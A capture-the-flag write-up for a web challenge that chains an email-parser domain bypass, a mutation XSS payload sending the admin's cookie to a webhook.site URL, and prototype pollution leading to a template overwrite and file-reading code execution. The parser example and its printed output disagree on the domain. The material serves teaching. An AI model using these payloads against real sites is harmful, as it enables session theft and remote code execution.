Intergalactic Bounty (WEB)

In this challenge, we will exploit several vulnerabilities, including inconsistencies in Nodemailer's email parser, bypassing HTML sanitization using Mutation XSS (MXSS), and achieving Remote Code Execution (RCE) through file overwrite via a prototype pollution gadget chain. Let's delve into each step of the exploitation process.

Solution

Below is a comprehensive walkthrough of the exploitation process, including code snippets and visual aids to illustrate each step.

1. Initial Access

Visiting the home page presents the login interface:

Login Page

Additionally, an email client is available for registration:

Email Client

Attempting to register with the provided email results in the following error: Registration Error

2. Nodemailer Parser Discrepancy

Examining the package.json, the application uses the latest versions for all packages, indicating no known CVEs. Our first objective is to create an account.

The registration route is implemented as follows:


const registerAPI = async (req, res) => {
    const { email, password, role = "guest" } = req.body;
    const emailDomain = emailAddresses.parseOneAddress(email)?.domain;

    if (!emailDomain || emailDomain !== 'interstellar.htb') {
    return res.status(200).json({ message: 'Registration is not allowed for this email domain' });
    }

    try {
    await User.createUser(email, password, role);
    return res.json({ message: "User registered. Verification email sent.", status: 201 });
    } catch (err) {
    return res.status(500).json({ message: err.message, status: 500 });
    }
};
                

The email domain must be interstellar.htb, and it uses the email-addresses library to parse the email according to RFC 5322.

Let's attempt to parse the following string with this library to see what domain we obtain: "\"test\\@example.com> ORCPT=test;admin\"@super.com"


const emailAddresses = require('email-addresses');
let mail = "\"test\\@email.htb x\"@interstellar.htb"

const parsedEmail = emailAddresses.parseOneAddress(mail);

if (parsedEmail) {
    console.log(parsedEmail);
} else {
    console.log('Invalid email address');
}
                

Running this script yields the following output:


{
    parts: {
    name: null,
    address: {
        name: 'addr-spec',
        tokens: '"test\\@email.htb x"@super.com',
        semantic: 'test@email.htb x@super.com',
        children: [Array]
    },
    local: {
        name: 'local-part',
        tokens: '"test\\@email.htb x"',
        semantic: 'test@email.htb x',
        children: [Array]
    },
    domain: {
        name: 'domain',
        tokens: 'super.com',
        semantic: 'super.com',
        children: [Array]
    },
    comments: []
    },
    type: 'mailbox',
    name: null,
    address: 'test@email.htb x@super.com',
    local: 'test@email.htb x',
    domain: 'super.com',
    comments: '',
    groupName: null
}
                

The domain is identified as super.com. Let's use this as our email and check if we receive the verification email:

Email used: "test\@email.htb x"@interstellar.htb, You can read more about how we got this payload from my Nodemailer post

Received Verification Code

With the verification code, we can now log in:

Logged In

3. Mutation XSS (MXSS)

Next, we can create a bounty and report it. Let's examine the report addition functionality:


const addBountiesAPI = async (req, res) => {
    const { status = "unapproved", ...bountyData } = req.body;

    const sanitizedBountyData = sanitizeHTMLContent(bountyData);

    try {
    const newBounty = await BountyModel.create({
        ...sanitizedBountyData,
        status,
    });
    return res.status(200).json({ message: "OK", data: newBounty });
    } catch (err) {
    return res
        .status(500)
        .json({ message: "Error adding bounty", error: err.message });
    }
};

const sanitizeHTMLContent = (data) => {
    return Object.entries(data).reduce((acc, [key, value]) => {
    acc[key] = sanitizeHtml(value, {
        allowedTags: sanitizeHtml.defaults.allowedTags.concat([
        "math",
        "style",
        "svg",
        ]),
        allowVulnerableTags: true,
    });
    return acc;
    }, {});
};
                

The application uses the sanitize-html library to sanitize the input, allowing style, math, and svg elements along with the default HTML elements. It also permits vulnerable tags by setting allowVulnerableTags to true, making it susceptible to MXSS.

By using a payload like the following, we can achieve XSS:


<math><style><img src=x onerror="fetch('https://webhook.site/757ea325-e795-4446-87a6-72576ee56cd2?x=' + document.cookie)">
                

This payload allows us to steal the admin's cookies.

By adding a bounty with the above payload in the description and reporting our bounty, the admin bot processes it:

Webhook Request for Admin Cookie

We successfully obtained the admin cookie.

Logging in as admin grants access to two new features:

Admin Features - Edit Bounties Admin Features - Send GET Requests

The first feature allows editing bounties, and the second feature permits sending GET requests to any URL.

4. Prototype Pollution File Overwrite

The edit functionality operates as follows:


const editBountiesAPI = async (req, res) => {
    const { ...bountyData } = req.body;
    try {
    const data = await BountyModel.findByPk(req.params.id, {
        attributes: [
        "target_name",
        "target_aliases",
        "target_species",
        "last_known_location",
        "galaxy",
        "star_system",
        "planet",
        "coordinates",
        "reward_credits",
        "reward_items",
        "issuer_name",
        "issuer_faction",
        "risk_level",
        "required_equipment",
        "posted_at",
        "status",
        "image",
        "description",
        "crimes",
        "id",
        ],
    });

    if (!data) {
        return res.status(404).json({ message: "Bounty not found" });
    }

    const updated = mergedeep(data.toJSON(), bountyData);

    await data.update(updated);

    return res.json(updated);
    } catch (err) {
    console.log(err);
    return res.status(500).json({ message: "Error fetching data" });
    }
};
                

This function retrieves a bounty by its primary key, performs a deep merge with the provided bountyData, and updates the database. However, it is vulnerable to prototype pollution, allowing an attacker to overwrite properties of the prototype object.

To exploit this, we need a gadget that allows significant impact. Examining the libraries used by this application:


const needle = require("needle");
                

The needle library has an option to write the output of a request to a file:


output: Dump response output to file. This occurs after parsing and charset decoding is done.
                

By setting this option to a file and making a web request, we can overwrite files. This allows us to overwrite a Node.js template and achieve RCE through it. Additionally, there's an unhandled error that can be exploited to crash the application, causing Supervisord to restart it with the updated malicious template. That way we can achieve RCE.

                    
const fetchURL = async (url) => {
    if (!url.startsWith("http://") && !url.startsWith("https://")) {
    throw new Error("Invalid URL: URL must start with http or https");
    }

    const options = {
    compressed: true,
    follow_max: 0,
    };

    return new Promise((resolve, reject) => {
    needle.get(url, options, (err, resp, body) => {
        if (err) {
        return reject(new Error("Error fetching the URL: " + err.message));
        }
        resolve(body);
    });
    });
};
                    

After polluting and overwriting the template we can pass file:///test to restart the application, and utilise the following template payload to read content of flag


{{ range.constructor("return global.process.mainModule.require('fs').readFileSync('/flag.txt', 'utf8')")() }}
                

This concludes the challenge :)